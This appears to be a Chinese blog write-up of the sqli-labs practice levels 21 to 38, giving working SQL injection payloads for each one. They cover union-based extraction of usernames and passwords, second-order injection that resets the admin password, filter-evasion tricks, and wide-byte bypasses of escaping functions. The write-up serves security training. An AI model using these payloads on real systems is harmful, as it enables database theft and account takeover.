sqli-labs(Page 2)

Less-21

在这里插入图片描述
虽然是Cookie注入,但是uname处却有些怪异,明明输入的是Dumb,结果却显示了一串字符,标题显示Base64。

在这里插入图片描述
对传入的参数进行加密处理。

对Payload进行编码
admin' and 1=1--+
YWRtaW4nIGFuZCAxPTEtLSs
在这里插入图片描述有了错误回显。

之后就是构造闭合,通过')闭合。
Payload:-admin') order by 3#查字段长,然后就是正常流程了,只需要对Payload进行编码即可。

但是我在编码时候:
在这里插入图片描述
emmmmmmmmmmmmmmm。。。。

换一个平台就好了。

至于具体的构造语句,可以参考我上一篇内容:sqli-labs(Page 1)

在这里插入图片描述

Less-22

只需要找到闭合位置,替换成-admin" and 1=1#即可,Payload是一样的。

在这里插入图片描述

Less-23

这关白盒比较好做。

if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

对注释符进行了替换。咋办,找大佬。下面是大佬的思路。

构造语句:id=' union select 1,2,3 '

在这里插入图片描述爆出回显点,接下来Payload就一样了。

爆表:' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or '1'='

在这里插入图片描述爆列和上面一样,爆值有区别:

爆值:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'='

在这里插入图片描述

Less-24

这关很有趣,还是登录框,但是多了注册新用户的选项。

在这里插入图片描述

抓包没什么有用东西,还是要在页面上操作。

先注册一个新用户。
在这里插入图片描述
test,密码123456

然后用注册的用户登录,发现有修改密码的功能。

在这里插入图片描述
既然是修改密码,那肯定和数据库连接,数据库怎么改变数据内容呢,update语句。

怎么才能登录admin帐号呢。

通过偷天换日。

先注册一个admin'#帐号,密码123456。

在这里插入图片描述用这个帐号登录。

在这里插入图片描述

现在我们是admin'#身份登录,修改它的密码。

在对密码进行修改的时候,数据库执行这条语句:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='456789'

而我们用的'#符号派上了用场,注释掉了,整条语句就变为了:

UPDATE users SET PASSWORD='$pass' where username='admin' and password='456789''

在这里插入图片描述

然后用admin帐号登录,密码就是刚才修改的。

在这里插入图片描述成功登录了admin帐号。

Less-25

在这里插入图片描述
直接就说了orand这关被过滤了。

绕过。

一种方法是直接不用,直接拼接id=1'--+,还有一种方法就是双写1' oorr 1=1--+1' aandnd 1=1--+

不过做的时候遇到一个问题就是,它给了我一个配置错误信息:

在这里插入图片描述

根据提示我查看了源码:

在这里插入图片描述
暂时还不知道什么原因。上次做的时候没出现问题。没办法了,后面几关都记录不上了。

Less-25到Less-28请去这个博客:https://blog.csdn.net/qq_41420747/article/details/81836327

Less-29

这关正常了。

加单引号错误。
构造:-1' union select 1,database(),3--+

在这里插入图片描述之后就还是那些Payload

在这里插入图片描述

Less-30

只需要把上一关的单引号闭合替换为双引号即可。

在这里插入图片描述

在这里插入图片描述

Less-31

id=-1") union select 1,2,3--+即可

在这里插入图片描述

Less-32

在这里插入图片描述

显示信息说input is escaped。猜测是被转义了,宽字节绕过。

1%df' and 1=1--+

在这里插入图片描述

1正常,2异常,说明存在注入点。

在这里插入图片描述
之后是一样的。

在这里插入图片描述

Less-33

仍然是宽字节绕过。

绕过AddSlashes%E6%27注释掉AddSlahes函数转义进来的\符号。

在这里插入图片描述然后都是一样的。

在这里插入图片描述

Less-34

登录一下,方法还是宽字节绕过。
抓包分析,上一关的%E6%27仍然可以用,唯一不同的是这关我这里字段长只有2个,其他不变。

在这里插入图片描述

Less-35

开始还是想宽字节了,结果都不行,然后看了眼标题,不需要在意,那直接单引号。

在这里插入图片描述

传入的参数前后都没有什么符号,那就直接注。

在这里插入图片描述在这里插入图片描述

Less-36

绕过MySQL real_escape_string

直接%df%27注入即可。

在这里插入图片描述

Less-37

POST方式,抓包,依然是%df%27注入,不同的是字段长为2,其他不变。

在这里插入图片描述

Less-38

0值绕过(原谅我一时想不起这种方法叫什么了)

直接构造?id=0' union select 1,2,3--+即可

在这里插入图片描述

诸君共勉。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值